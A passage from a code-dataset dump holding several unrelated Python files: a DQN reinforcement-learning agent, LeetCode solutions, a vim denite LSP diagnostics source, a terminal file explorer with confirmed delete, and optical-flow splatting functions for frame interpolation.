sys.exit(1)\n","repo_name":"nanoporetech/megalodon","sub_path":"megalodon/megalodon.py","file_name":"megalodon.py","file_ext":"py","file_size_in_byte":64483,"program_lang":"python","lang":"en","doc_type":"code","stars":185,"dataset":"github-code","pt":"61"} +{"seq_id":"1126815687","text":"import numpy as np\nimport tensorflow as tf\n\nfrom copy import deepcopy\n\nimport collections\nimport cv2\nimport gym\nimport random\nimport time\n\nimport history\nimport network\nimport state\n\nclass FireResetEnv(gym.Wrapper):\n def __init__(self, env=None):\n \"\"\"For environments where the user need to press FIRE for the game to start.\"\"\"\n super(FireResetEnv, self).__init__(env)\n assert env.unwrapped.get_action_meanings()[1] == 'FIRE'\n assert len(env.unwrapped.get_action_meanings()) >= 3\n\n def _reset(self):\n self.env.reset()\n obs, _, done, _ = self.env.step(1)\n if done:\n self.env.reset()\n obs, _, done, _ = self.env.step(2)\n if done:\n self.env.reset()\n return obs\n\nclass MaxAndSkipEnv(gym.Wrapper):\n def __init__(self, env=None, skip=4):\n \"\"\"Return only every `skip`-th frame\"\"\"\n super(MaxAndSkipEnv, self).__init__(env)\n # most recent raw observations (for max pooling across time steps)\n self._obs_buffer = collections.deque(maxlen=2)\n self._skip = skip\n\n def _step(self, action):\n total_reward = 0.0\n done = None\n for _ in range(self._skip):\n obs, reward, done, info = self.env.step(action)\n self._obs_buffer.append(obs)\n total_reward += reward\n if done:\n break\n max_frame = np.max(np.stack(self._obs_buffer), axis=0)\n return max_frame, total_reward, done, info\n\n def _reset(self):\n \"\"\"Clear past frame buffer and init. to first obs. from inner env.\"\"\"\n self._obs_buffer.clear()\n obs = self.env.reset()\n self._obs_buffer.append(obs)\n return obs\n\nclass qlearn(object):\n def __init__(self, config):\n self.total_steps = 0\n\n self.env = gym.make(config.get('game'))\n self.env = MaxAndSkipEnv(self.env)\n self.env = FireResetEnv(self.env)\n\n self.input_shape = config.get('input_shape')\n self.state_steps = config.get('state_steps')\n\n self.batch_size = config.get('batch_size')\n\n self.train_interval = config.get('train_interval')\n self.start_train_after_steps = config.get('start_train_after_steps')\n\n self.update_follower_steps = config.get('update_follower_steps')\n\n self.current_state = state.state(self.input_shape, self.state_steps)\n\n self.actions = self.env.action_space.n\n config.put('actions', self.actions) # used in network to create N outputs, one per action\n\n self.epsilon_start = config.get('epsilon_start')\n self.epsilon_end = config.get('epsilon_end')\n self.initial_explore_steps = config.get('initial_explore_steps')\n self.total_explore_steps = config.get('total_explore_steps')\n self.epsilon = self.epsilon_start\n self.alpha = config.get('q_alpha')\n self.discount_gamma = config.get('discount_gamma')\n\n self.history = history.history(config.get('history_size'))\n\n output_path = config.get('output_path')\n output_path += '/run.%d' % (time.time())\n self.summary_writer = tf.summary.FileWriter(output_path)\n config.put('summary_writer', self.summary_writer) # used in network\n\n with tf.variable_scope('main') as vscope:\n self.main = network.network('main', config)\n with tf.variable_scope('follower') as vscope:\n self.follower = network.network('follower', config)\n\n self.follower.import_params(self.main.export_params(), 0)\n\n def new_state(self, state):\n state = 0.2126 * state[:, :, 0] + 0.7152 * state[:, :, 1] + 0.0722 * state[:, :, 2]\n\n state = state.astype(np.float32)\n res = cv2.resize(state, (self.input_shape[0], self.input_shape[1]))\n res /= 255.\n\n res = np.reshape(res, self.input_shape)\n\n self.current_state.push_tensor(res)\n return deepcopy(self.current_state)\n\n def reset(self):\n self.current_state = state.state(self.input_shape, self.state_steps)\n obs = self.env.reset()\n return self.new_state(obs)\n\n def get_action(self, s):\n if np.random.rand() <= self.epsilon:\n action_idx = self.env.action_space.sample()\n else:\n action_idx = self.get_predicted_action(s)\n\n return action_idx\n\n def get_predicted_action(self, s):\n return np.argmax(self.follower.predict([s.read()]), axis=1)\n\n def store(self, data):\n if self.epsilon > self.epsilon_end and self.total_steps > self.initial_explore_steps:\n self.epsilon -= (self.epsilon_start - self.epsilon_end) / self.total_explore_steps\n\n self.history.append(data)\n\n def train(self):\n batch = self.history.sample(self.batch_size * self.train_interval)\n\n states_shape = (len(batch), self.input_shape[0], self.input_shape[1], self.input_shape[2]*self.state_steps)\n states = np.ndarray(shape=states_shape)\n next_states = np.ndarray(shape=states_shape)\n\n q_shape = (len(batch), self.actions)\n qvals = np.ndarray(shape=q_shape)\n next_qvals = np.ndarray(shape=q_shape)\n\n for idx, e in enumerate(batch):\n s, a, r, sn, done = e\n\n states[idx] = s.read()\n next_states[idx] = sn.read()\n\n qvals = self.main.predict(states)\n next_qvals = self.follower.predict(next_states)\n\n #print(\"q1: {}\".format(qvals))\n\n for idx, e in enumerate(batch):\n s, a, r, sn, done = e\n\n qmax_next = np.amax(next_qvals[idx])\n if done:\n qmax_next = 0\n\n current_qa = qvals[idx][a]\n # clip Q value to [-1;+1] interval\n #qsa = min(1, max(-1, (1. - self.alpha) * current_qa + self.alpha * (r + self.discount_gamma * qmax_next)))\n qsa = (1. - self.alpha) * current_qa + self.alpha * (r + self.discount_gamma * qmax_next)\n qvals[idx][a] = qsa\n\n #print(\"q2: {}\".format(qvals))\n self.main.train(states, qvals)\n if self.main.train_steps % self.update_follower_steps == 0:\n self.follower.import_params(self.main.export_params(), 0)\n\n def episode(self):\n s = self.reset()\n done = False\n total_reward = 0\n steps = 0\n\n while not done:\n action = self.get_action(s)\n\n obs, reward, done, info = self.env.step(action)\n sn = self.new_state(obs)\n self.store((s, action, reward, sn, done))\n self.total_steps += 1\n steps += 1\n\n if steps % self.train_interval == 0 and self.total_steps > self.start_train_after_steps:\n self.train()\n\n s = sn\n total_reward += reward\n\n self.main.update_rewards([total_reward])\n return total_reward\n\n def run(self, num_episodes):\n rewards = history.history(100)\n for i in xrange(num_episodes):\n reward = self.episode()\n\n rewards.append(reward)\n\n print(\"{:4d}: steps: {:6d}, epsilon: {:.2f}, reward: {:2.1f}, average reward per {:3d} last episodes: {:.2f}\".format(\n i, self.total_steps, self.epsilon,\n reward, rewards.size(), np.mean(rewards.whole())))\n","repo_name":"bioothod/dqn","sub_path":"qlearn.py","file_name":"qlearn.py","file_ext":"py","file_size_in_byte":7232,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"73309365953","text":"# 给定两个数组,编写一个函数来计算它们的交集。\n# 思路:给两个数组排序,然后遍历\nclass Solution:\n def intersection(self, nums1, nums2):\n # 核心就是对两个数组排序\n nums1.sort()\n nums2.sort()\n res = []\n length1 = len(nums1)\n length2 = len(nums2)\n index1 = 0\n index2 = 0\n while index1 < length1 and index2 < length2:\n if nums1[index1] == nums2[index2]:\n if len(res) == 0 or nums1[index1] != res[-1]:\n res.append(nums1[index1])\n index1 += 1\n index2 += 1\n\n elif nums1[index1] < nums2[index2]:\n index1 += 1\n else:\n index2 += 1\n return res\n\nnums1 = [1,2,2,1]\nnums2 = [2,2]\ns = Solution()\nres = s.intersection(nums1,nums2)\nprint(res)","repo_name":"fengjiaxin/prepare_work","sub_path":"leetcode_tag/Binary_search/349.两个数组的交集.py","file_name":"349.两个数组的交集.py","file_ext":"py","file_size_in_byte":872,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"72350436995","text":"class Solution:\n def numSubarrayProductLessThanK(self, nums: List[int], k: int) -> int:\n cnt = 0\n prod, n = 1, len(nums)\n i, j = 0, 0\n while j < n:\n prod *= nums[j]\n while prod >= k and i <= j:\n prod = prod // nums[i]\n i += 1\n cnt += j - i + 1\n j += 1\n return cnt","repo_name":"SivaShankar-Juthuka/Practice","sub_path":"0713-subarray-product-less-than-k/0713-subarray-product-less-than-k.py","file_name":"0713-subarray-product-less-than-k.py","file_ext":"py","file_size_in_byte":375,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"36239756972","text":"from denite.base.source import Base\n\nimport os\n\nDIAGNOSTIC_KINDS = {\n \"E\": \"Error\",\n \"W\": \"Warning\",\n \"I\": \"Information\",\n \"H\": \"Hint\"\n}\n\n\nclass Source(Base):\n def __init__(self, vim):\n super().__init__(vim)\n self.vim = vim\n self.name = 'lsp/workspace_diagnostic'\n self.kind = 'file'\n\n self.vim.vars['denite#source#vim_lsp#_results'] = []\n self.vim.vars['denite#source#vim_lsp#_request_completed'] = False\n\n def gather_candidates(self, context):\n return make_candidates(\n self.vim.call('denite_vim_lsp#workspace_diagnostics'))\n\n\ndef make_candidates(diagnostics):\n if not diagnostics:\n return []\n if not isinstance(diagnostics, list):\n return []\n candidates = [_parse_candidate(diagnostic) for diagnostic in diagnostics]\n return candidates\n\n\ndef _parse_candidate(diagnostic):\n candidate = {}\n fp = diagnostic['filename']\n\n candidate['word'] = '{} {}:{} [{}] {}'.format(\n os.path.relpath(fp),\n str(diagnostic['lnum']),\n str(diagnostic['col']),\n DIAGNOSTIC_KINDS[diagnostic['type']],\n diagnostic['text'],\n )\n\n candidate['action__path'] = fp\n candidate['action__line'] = diagnostic['lnum']\n candidate['action__col'] = diagnostic['col']\n return candidate\n","repo_name":"gamoutatsumi/denite-vim-lsp","sub_path":"rplugin/python3/denite/source/lsp/workspace_diagnostic.py","file_name":"workspace_diagnostic.py","file_ext":"py","file_size_in_byte":1314,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"61"} +{"seq_id":"11692874697","text":"#Author: ADOB\r\n#Date: 09/07/2021\r\n#Version: 1.0\r\n\r\nimport os, sys, pathlib, shutil, time\r\n\r\nfrom my_io.hcolors import Hcolors\r\nfrom my_io.zip import AsyncZip\r\n\r\n\r\nclass Cmdexplorer():\r\n\t\"\"\"\r\n\tCmdexplorer class a terminal simple explorer\r\n\t\"\"\"\r\n\tdef __init__(self, *args, **kwargs):\r\n\t#code\r\n\t\t#using our module Hcolors\r\n\t\tself.hcolors = Hcolors()\r\n\t\t#self.bg_zip = AsyncZip()\r\n\t\t#Set self.full_path with current path, avoid return path error at t_select function\r\n\t\tself.full_path=os.getcwd()\r\n\t\tself.r_text=\"\"\r\n\t\tprint(self.hcolors.CITALIC + \"Simple File Explorer \\n\" + self.hcolors.CEND)\r\n\r\n\r\n\tdef t_write(self, path, name, sl):\r\n\t\t\"\"\"\r\n\t\tWrite file\r\n\t\t\"\"\"\r\n\t\t#file = open(\"file.txt\", \"w+\")file.seek(0,2)file.write(\"Simple File Explorer Test\")file.seek(0,0)print(file.read())file.close()\r\n\t\tos.chdir(path)\r\n\t\ttry:\r\n\t\t\tfile = os.open(name, os.O_RDWR|os.O_CREAT)\r\n\t\t\tb=str.encode(sl)\r\n\t\t\t#Write one string\r\n\t\t\tos.write(file,b)\r\n\t\t\t#Infact here you wouls not be able ro see its effect\r\n\t\t\tos.fsync(file)\r\n\t\t\t#now read this file from the beginning\r\n\t\t\tos.lseek(file,0,0)\r\n\t\t\tline = os.read(file, 10000000).decode()\r\n\t\t\t#print(line)\r\n\t\t\tos.close(file)\r\n\t\t\tprint(self.hcolors.CITALIC + self.hcolors.OKGREEN + \"Success\" + self.hcolors.CEND + self.hcolors.CEND +\"\\n\")\r\n\t\texcept OSError as e:\r\n\t\t\t\t\tprint(self.hcoloras.WARNING + f\"Error:{e.strerror}\" + self.hcolors.CEND +\"\\n\")\r\n\t\treturn\r\n\r\n\r\n\tdef t_read(self):\r\n\t\t\"\"\"\r\n\t\tread file function\r\n\t\tFunction to select folder o file\r\n\t\t\"\"\"\r\n\t\t#Clean screen\r\n\t\t#os.system(\"cls\") #for DOS/Windows\r\n\t\t#os.system(\"clear\") #for unix\r\n\t\tprint(self.hcolors.BOLD + \"What do you want to do?\" + self.hcolors.CEND)\r\n\t\tprint(self.hcolors.BOLD + \"Enter O to [O]pen, S to [S]elect, U to [U]p go to parent directory, M to [M]ake folder, F to create [F]ile, D to [D]elete file or folder, B to [B]ack return main menu\" + self.hcolors.CEND + \"\\n\")\r\n\t\tprint(self.hcolors.CITALIC + os.getcwd() + self.hcolors.CEND + \"\\n\")\r\n\t\tf1=input(\"Insert function: \")\r\n\t\tif( (f1==\"O\") or (f1==\"o\") ):\r\n\t\t\tprint(\"\\n\")\r\n\t\t\tos.system(\"clear\") #for unix\r\n\t\t\tself.t_getdirs(os.getcwd(), \"r\")\r\n\t\telif( (f1==\"S\") or (f1==\"s\") ):\r\n\t\t\tprint(\"\\n\")\r\n\t\t\t#os.system(\"clear\") #for unix\r\n\t\t\tself.t_select()\r\n\t\telif( (f1==\"M\") or (f1==\"m\") ):\r\n\t\t\tr_name=input(\"Type folder name: \")\r\n\t\t\tself.t_mkdir(os.getcwd(), r_name)\r\n\t\t\tprint(\"\\n\")\r\n\t\t\ttime.sleep(2)\r\n\t\t\tos.system(\"clear\") #for unix\r\n\t\t\tself.t_getdirs(os.getcwd(), \"r\")\r\n\t\telif( (f1==\"F\") or (f1==\"f\") ):\r\n\t\t\tr_name=input(\"Type file name: \")\r\n\t\t\tr_sl=input(\"Type string: \")\r\n\t\t\tself.t_write(os.getcwd(), r_name, r_sl)\r\n\t\t\tprint(\"\\n\")\r\n\t\t\ttime.sleep(2)\r\n\t\t\tos.system(\"clear\") #for unix\r\n\t\t\tself.t_getdirs(os.getcwd(), \"r\")\r\n\t\telif( (f1==\"D\") or (f1==\"d\") ):\r\n\t\t\tr_name=input(\"Type file or folder name: \")\r\n\t\t\tself.t_delete(os.getcwd(), r_name)\r\n\t\t\tprint(\"\\n\")\r\n\t\t\ttime.sleep(2)\r\n\t\t\tos.system(\"clear\") #for unix\r\n\t\t\tself.t_getdirs(os.getcwd(), \"r\")\r\n\t\telif( (f1==\"U\") or (f1==\"u\") ):\r\n\t\t\tos.chdir(\"..\")\r\n\t\t\tself.r_text =os.getcwd()\r\n\t\t\tos.system(\"clear\") #for unix\r\n\t\t\tself.t_getdirs(os.getcwd(), \"r\")\r\n\t\telif( (f1==\"B\") or (f1==\"b\") ):\r\n\t\t\tself.main()\r\n\t\telse:\r\n\t\t\tself.t_read()\r\n\t\treturn\r\n\r\n\tdef t_getdirs(self, path, r_stat):\r\n\t\t\"\"\"\r\n\t\tGet and list file and folders\r\n\t\t\"\"\"\r\n\t\tprint(self.hcolors.CITALIC + path + self.hcolors.CEND)\r\n\t\twith os.scandir(path) as p_files:\r\n\t\t\tfor p_file in p_files:\r\n\t\t\t\tif( (os.path.isfile(p_file)) ):\r\n\t\t\t\t\t#Using os.path.splitext(\"path\"). r_root: file name, r_ext: Extension\r\n\t\t\t\t\t#r_root, r_ext=os.path.splitext(p_file)\r\n\t\t\t\t\t#using module pathlib\r\n\t\t\t\t\tr_path=pathlib.Path(p_file)\r\n\t\t\t\t\t#print(\"Parent: \", r_path.parent)\r\n\t\t\t\t\t#print(\"Name: \", r_path.name)\r\n\t\t\t\t\t#print(\"Extension: \", r_path.suffix)\r\n\t\t\t\t\tr_ext=r_path.suffix\r\n\t\t\t\t\tif( (r_ext== \".py\") or (r_ext== \".sh\") or (r_ext== \".php\") or (r_ext== \".js\") ):\r\n\t\t\t\t\t\tprint(self.hcolors.OKGREEN + p_file.name + self.hcolors.CEND)\r\n\t\t\t\t\telif( (r_ext== \".c\") or (r_ext== \".cpp\") or (r_ext== \".java\") or (r_ext== \".html\") or (r_ext== \".css\") ):\r\n\t\t\t\t\t\tprint(self.hcolors.CVIOLET + p_file.name + self.hcolors.CEND)\r\n\t\t\t\t\telif( r_ext== \"\" ):\r\n\t\t\t\t\t\tprint(self.hcolors.WARNING + p_file.name + self.hcolors.CEND)\r\n\t\t\t\t\telif( (r_ext== \".txt\") ):\r\n\t\t\t\t\t\tprint(self.hcolors.BOLD + p_file.name + self.hcolors.CEND)\r\n\t\t\t\t\telif( (r_ext== \".zip\") or (r_ext== \".rar\") or (r_ext== \".jar\") ):\r\n\t\t\t\t\t\tprint(self.hcolors.UNDERLINE + p_file.name + self.hcolors.CEND)\r\n\t\t\t\t\telif( (r_ext== \".tar\") or (r_ext== \".pyc\") ):\r\n\t\t\t\t\t\tprint(self.hcolors.FAIL + p_file.name + self.hcolors.CEND)\r\n\t\t\t\t\telse:\r\n\t\t\t\t\t\tprint(self.hcolors.FAIL + p_file.name + self.hcolors.CEND)\r\n\t\t\t\telif( (os.path.isdir(p_file)) ):\r\n\t\t\t\t\tprint(self.hcolors.OKBLUE + p_file.name + self.hcolors.CEND)\r\n\t\t\t\telse:\r\n\t\t\t\t\tprint(p_file.name)\r\n\t\tprint(\"\\n\")\r\n\t\tif(r_stat==\"r\"):\r\n\t\t\tself.t_read()\r\n\t\telse:\r\n\t\t\tself.t_read()\r\n\t\treturn\r\n\r\n\tdef t_select(self):\r\n\t\t\"\"\"\r\n\t\tFunction to select folder o file\r\n\t\t\"\"\"\r\n\t\tprint(\"'^B'' to [B]ack read menu, '^Q' to [Q]uit\")\r\n\t\tf2=input(\"type dir or file name or default options: \")\r\n\t\td_file = os.getcwd()\r\n\t\tr_path=pathlib.Path(d_file)\r\n\t\tif( (f2==\"^B\") or (f2==\"^b\") ):\r\n\t\t\tself.t_read()\r\n\t\telif( (f2==\"^Q\") or (f2==\"^q\") ):\r\n\t\t\tquit()\r\n\t\telse:\r\n\t\t\ts_path=d_file +\"/\"+ f2\r\n\t\t\tif( os.path.isdir(s_path) ):\r\n\t\t\t\tprint(\"\\n\")\r\n\t\t\t\tos.chdir(f2)\r\n\t\t\t\tos.system(\"clear\") #for unix\r\n\t\t\t\tself.t_getdirs(s_path, \"s\")\r\n\t\t\telif(os.path.isfile(s_path)):\r\n\t\t\t\ts_file=os.open(s_path, os.O_RDWR)\r\n\t\t\t\tos.lseek(s_file,0,0)\r\n\t\t\t\ts_line=os.read(s_file, 10000000).decode()\r\n\t\t\t\tprint(self.hcolors.CITALIC + s_path + self.hcolors.CEND +\"\\n\")\r\n\t\t\t\tprint(\"#---------------------------------------------------->>\")\r\n\t\t\t\tprint(s_line)\r\n\t\t\t\tprint(\"#<<----------------------------------------------------\")\r\n\t\t\t\tprint(\"\\n\")\r\n\t\t\t\tos.close(s_file)\r\n\t\t\t\tself.t_read()\r\n\t\t\telse:\r\n\t\t\t\tself.t_select()\r\n\t\treturn\r\n\r\n\r\n\tdef t_mkdir(self, path, name):\r\n\t\t\"\"\"\r\n\t\tCreate folders\r\n\t\t\"\"\"\r\n\t\tos.chdir(path)\r\n\t\ttry:\r\n\t\t\tos.mkdir(name, 755)\r\n\t\t\tprint(self.hcolors.CITALIC + self.hcolors.OKGREEN + \"Success\" + self.hcolors.CEND + self.hcolors.CEND +\"\\n\")\r\n\t\texcept OSError as e:\r\n\t\t\t\t\tprint(self.hcolors.CITALIC + self.hcolors.WARNING + f\"Error:{e.strerror}\" + self.hcolors.CEND + self.hcolors.CEND +\"\\n\")\r\n\t\treturn\r\n\r\n\tdef t_delete(self, path, name):\r\n\t\t\"\"\"\r\n\t\tdelete files or directory\r\n\t\t\"\"\"\r\n\t\tprint(\"Delete?\")\r\n\t\td_path=path + \"/\" + name\r\n\t\td_d=input(\"[Y]es or [N]o?: \")\r\n\t\tif( (d_d==\"Y\") or (d_d==\"y\")):\r\n\t\t\tif(os.path.isdir(d_path)):\r\n\t\t\t\ttry:\r\n\t\t\t\t\tshutil.rmtree(d_path)\r\n\t\t\t\t\tprint(self.hcolors.CITALIC + self.hcolors.OKGREEN + \"Success\" + self.hcolors.CEND + self.hcolors.CEND +\"\\n\")\r\n\t\t\t\texcept OSError as e:\r\n\t\t\t\t\tprint(self.hcolors.CITALIC + self.hcolors.WARNING + f\"Error:{e.strerror}\" + self.hcolors.CEND + self.hcolors.CEND +\"\\n\")\r\n\t\t\telif( (os.path.isfile(d_path)) ):\r\n\t\t\t\ttry:\r\n\t\t\t\t\tos.remove(d_path)\r\n\t\t\t\t\tprint(self.hcolors.CITALIC + self.hcolors.OKGREEN + \"Success\" + self.hcolors.CEND + self.hcolors.CEND +\"\\n\")\r\n\t\t\t\texcept OSError as e:\r\n\t\t\t\t\tprint(self.hcolors.CITALIC + self.hcolors.WARNING + f\"Error:{e.strerror}\" + self.hcolors.CEND + self.hcolors.CEND +\"\\n\")\r\n\t\t\telse:\r\n\t\t\t\tprint(self.hcolors.FAIL + f\"Error:{OSError.strerror}\" + self.hcolors.CEND +\"\\n\")\r\n\t\t\t\tself.t_delete(path, name)\r\n\t\telif( (d_d==\"N\") or (d_d==\"n\")):\r\n\t\t\tself.t_read()\r\n\t\telse:\r\n\t\t\tself.t_delete(path, name)\r\n\t\treturn\r\n\r\n\tdef main (self):\r\n\t\t\"\"\"\r\n\t\tMain function, can call all function\r\n\t\t\"\"\"\r\n\t\tprint (\"Function [R]ead file\")\r\n\t\tprint(\"Function [Q]uit\")\r\n\t\tprint (\"\\n\")\r\n\t\tf=input(\"Insert function: \")\r\n\t\tprint(\"\\n\")\r\n\t\tif ((f == \"R\") or (f==\"r\")):\r\n\t\t\tself.t_read()\r\n\t\telif ((f==\"Q\") or (f==\"q\")):\r\n\t\t\tquit()\r\n\t\telse:\r\n\t\t\tprint(\"Try again\")\r\n\t\t\tself.main()\r\n\t\t\r\ncmd = Cmdexplorer()\r\ncmd.main()\r\n","repo_name":"ADOBApps/cmdexplorer","sub_path":"Cmdexplorer/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7661,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"4956993650","text":"\"\"\"\nFunctions for manipulating single pixels or patches of pixels\nin an image.\n\n\"\"\"\nimport time\nimport numpy as np\nimport cv2\nimport booster.utility as ut\nfrom tqdm import tqdm\n\n__author__ = \"Henry Cooney\"\n__credits__ = [\"Henry Cooney\", \"Feng Liu\"]\n__license__ = \"MIT\"\n__version__ = \"0.1\"\n__maintainer__ = \"Henry Cooney\"\n__email__ = \"hacoo36@gmail.com\"\n__status__ = \"Prototype\"\n__repo__ = \"https://github.com/hacoo/framebooster.git\" \n\ndef image_to_cartesian(f, x, y):\n \"\"\" Converts coordinates in image space (zero at top left,\n reversed y) to cartesian space (with bounds at -0.5, 0.5) \"\"\"\n h = f.shape[0]\n w = f.shape[1]\n ix = (x - w/2) / w\n iy = (h/2 - y) / h\n return (ix, iy)\n \ndef cartesian_to_image(f, x, y):\n \"\"\" Converts the cartesian coordinate(x, y) to image \n coordinate(x, y). Returns actual coordinates -- NOT\n indices. \"\"\"\n h = f.shape[0]\n w = f.shape[1]\n cx = (x + 0.5) * w\n cy = (-y + 0.5) * h\n return (cx, cy)\n \ndef vector_cartesian_to_image(f, dx, dy):\n \"\"\" scales a vector (dx,dy) to image space dimensions. \"\"\"\n h = f.shape[0]\n w = f.shape[1]\n return (w*dx, h*dy)\n \ndef vector_image_to_cartesian(f, dx, dy):\n \"\"\" Scales a vector (dx, dy) to cartesian space dimensions. \"\"\"\n h = f.shape[0]\n w = f.shape[1]\n return (dx/w, dy/h)\n \ndef cartesian_to_index(f, x, y):\n (ix, iy) = cartesian_to_image(f, x, y)\n return (int(round(ix)), int(round(iy)))\n\n\n \ndef splat(f, x, y):\n \"\"\" \n Return the indices of pixels (as (x, y), not (row, col))\n of all pixels in a square 4-pixel splat centered at (x,y)\n \"\"\" \n h = f.shape[0]\n w = f.shape[1]\n center = cartesian_to_index(f, x, y)\n pixels = [[center[0], center[1]], [0,0], [0,0], [0,0]]\n if x > center[0]:\n pixels[1][0] = center[0]+1\n pixels[2][0] = center[0]\n pixels[3][0] = center[0]+1\n else:\n pixels[1][0] = center[0]-1\n pixels[2][0] = center[0]\n pixels[3][0] = center[0]-1\n if y > center[1]:\n pixels[1][1] = center[1]\n pixels[2][1] = center[1]+1\n pixels[3][1] = center[1]+1\n else:\n pixels[1][1] = center[1]\n pixels[2][1] = center[1]-1\n pixels[3][1] = center[1]-1\n return pixels\n\n\n #for i in range(-1,2):\n # for j in range(-1,2):\n # pixels.append((center[0]+i, center[1]+j))\n #return pixels \n \n # pixels = set()\n # xsplats = [0.5/w, -0.5/w, 0.0]\n # ysplats = [0.5/h, -0.5/h, 0.0]\n # for dx in xsplats:\n # for dy in ysplats:\n # xc = x + dx\n # yc = y + dy\n # coords = cartesian_to_index(f, xc, yc)\n # if check_indices(f, coords[0], coords[1]):\n # pixels.add(coords)\n\n return list(pixels)\n\ndef splat_motion(src, dest, row, col, t=0.5):\n \"\"\" \n Splat motion from pixel at [row][col] onto the destination image.\n \n \"\"\"\n h = src.shape[0]\n w = src.shape[1]\n motion = src[row][col]\n ux = motion[0]/w\n uy = -motion[1]/h\n (x, y) = image_to_cartesian(src, col, row)\n # motion vector must be scaled to cartesian space\n xp = x + t*ux\n yp = y + t*uy\n splats = splat(dest, xp, yp)\n for s in splats:\n #dest[s[1]][s[0]] = motion\n if check_indices(dest, s[0], s[1]):\n old = dest[s[1]][s[0]]\n # Use the most\n if abs(np.sum(old)) < abs(np.sum(motion)):\n dest[s[1]][s[0]] = motion\n \n\ndef follow_intensity(frame0, frame1, u, \n row, col, t=0.5):\n \"\"\" Follow the flow u forward and backward from the location\n [row][col], and return the intensity difference between\n the forward and backward pixel. \n\n u should already be scaled.\n\n frame0 and frame1 should be in BGR.\n \"\"\"\n h = frame0.shape[0]\n w = frame0.shape[1]\n (x, y) = image_to_cartesian(frame0, col, row)\n ux = u[0]/w\n uy = -u[1]/h\n xp0 = x - t*ux\n yp0 = y - t*uy\n xp1 = x + t*ux\n yp1 = y + t*uy\n (xi0, yi0) = cartesian_to_index(frame0, xp0, yp0)\n (xi1, yi1) = cartesian_to_index(frame1, xp1, yp1)\n if (check_indices(frame0, xi0, yi0) and\n check_indices(frame1, xi1, yi1)):\n i0=frame0[yi0][xi0]\n i1=frame1[yi1][xi1]\n return ut.eucdist(i0, i1)\n else:\n return 2 # default value if going OOB\n \n\ndef splat_forward(forward, frame0, frame1, splatty, \n row, col, t=0.5):\n \"\"\" Splat the foward frame0 motion at [row][col] onto splatty. \"\"\"\n h = frame0.shape[0]\n w = frame0.shape[1]\n motion = forward[row][col]\n # Scale to cartesian space\n ux = motion[0]/w\n uy = -motion[1]/h\n (x, y) = image_to_cartesian(frame0, col, row)\n # xp and yp are the coordinates in the interpolated image\n xp = x + t*ux\n yp = y + t*uy\n splats = splat(splatty, xp, yp)\n for s in splats:\n if check_indices(splatty, s[0], s[1]):\n old = splatty[s[1]][s[0]]\n if np.isnan(old[0]) or np.isnan(old[1]):\n splatty[s[1]][s[0]] = motion\n else:\n old_ptc = follow_intensity(frame0, frame1,\n old, s[1], s[0], t)\n new_ptc = follow_intensity(frame0, frame1,\n motion, s[1], s[0], t)\n if (new_ptc < old_ptc):\n splatty[s[1]][s[0]] = motion\n\ndef splat_backward(backward, frame0, frame1, splatty, \n row, col, t=0.5):\n \"\"\" \n Splat the backward m motion at [row][col] onto splatty.\n frame0 should come first chronologically.\n \n \"\"\"\n h = frame0.shape[0]\n w = frame0.shape[1]\n motion = -1*backward[row][col]\n # Scale to cartesian space\n ux = motion[0]/w\n uy = motion[1]/h\n (x, y) = image_to_cartesian(frame0, col, row)\n # xp and yp are the coordinates in the interpolated image.\n xp = x + t*ux\n yp = y + t*uy\n splats = splat(splatty, xp, yp)\n for s in splats:\n if check_indices(splatty, s[0], s[1]):\n old = splatty[s[1]][s[0]]\n if np.isnan(old[0]) or np.isnan(old[1]):\n splatty[s[1]][s[0]] = motion\n else:\n old_ptc = follow_intensity(frame0, frame1,\n old, s[1], s[0], t)\n new_ptc = follow_intensity(frame0, frame1,\n motion, s[1], s[0], t)\n if (new_ptc < old_ptc):\n splatty[s[1]][s[0]] = motion\n\n\ndef splat_motions_bidi(forward, backward, frame0, frame1, t=0.5):\n \"\"\" Bidirectionally splat motions between frame 0 and frame1,\n with forward and backward flows. Return the interpolated flows. \"\"\"\n h = frame0.shape[0]\n w = frame0.shape[1]\n splatty = np.zeros_like(forward)\n # Flows start out undefined\n splatty[:] = np.NAN\n for row in tqdm(range(h), nested=True, desc=\"splatting forward\"):\n for col in range(w):\n splat_forward(forward, frame0, frame1, splatty,\n row, col, t)\n for row in tqdm(range(h), nested=True, desc=\"splatting backward\"):\n for col in range(w):\n splat_backward(backward, frame0, frame1, splatty,\n row, col, t)\n\n # Fill holes twice to get rid of big holes\n fill_holes(splatty)\n fill_holes(splatty)\n kill_nans(splatty)\n return splatty \n \n\ndef kill_nans(f):\n \"\"\" Replaces all nans in the frame with [0,0] \"\"\"\n h = f.shape[0]\n w = f.shape[1]\n for r in range(h):\n for c in range(w):\n if np.isnan(f[r][c][0]) or np.isnan(f[r][c][1]):\n f[r][c] = np.array([0.0, 0.0], dtype='float')\n \n \ndef fill_holes(splatty):\n \"\"\" Fill NaN holes in splatty by averaging neightbors. \"\"\"\n h = splatty.shape[0]\n w = splatty.shape[1]\n indices = []\n for r in range(h):\n for c in range(w):\n indices.append((r, c))\n indices = filter_not_nans(splatty, indices)\n indices.sort(key=lambda x: num_nan_neighbors(splatty, x[0], x[1]))\n for i in tqdm(indices, nested=True, desc=\"filling holes\"): \n average_fill(splatty, i)\n \n \ndef average_fill(f, indices):\n \"\"\" Fill in index i using the average of its neighbors. \"\"\"\n n = 0\n u = 0.0\n v = 0.0\n for i in range(-1,2):\n for j in range(-1,2):\n r = indices[0] + i\n c = indices[1] + j\n if check_indices(f, c, r):\n pixel = f[r][c]\n if not np.isnan(pixel[0]) and not np.isnan(pixel[1]):\n n += 1\n u += pixel[0]\n v += pixel[1]\n if n == 0:\n #averaged = np.array([0.0, 0.0], dtype='float')\n pass\n else:\n averaged = np.array([u/n, v/n], dtype='float')\n f[indices[0]][indices[1]] = averaged\n \ndef num_nan_neighbors(f, r, c):\n \"\"\" Return the number of neighbors of [r][c] that\n are NaN in the frame f. \"\"\"\n nans = 0\n for i in range(-1,2):\n for j in range(-1,2):\n rp = r + i\n cp = c + j\n if check_indices(f, cp, rp):\n pixel = f[rp][cp]\n if np.isnan(pixel[0]) or 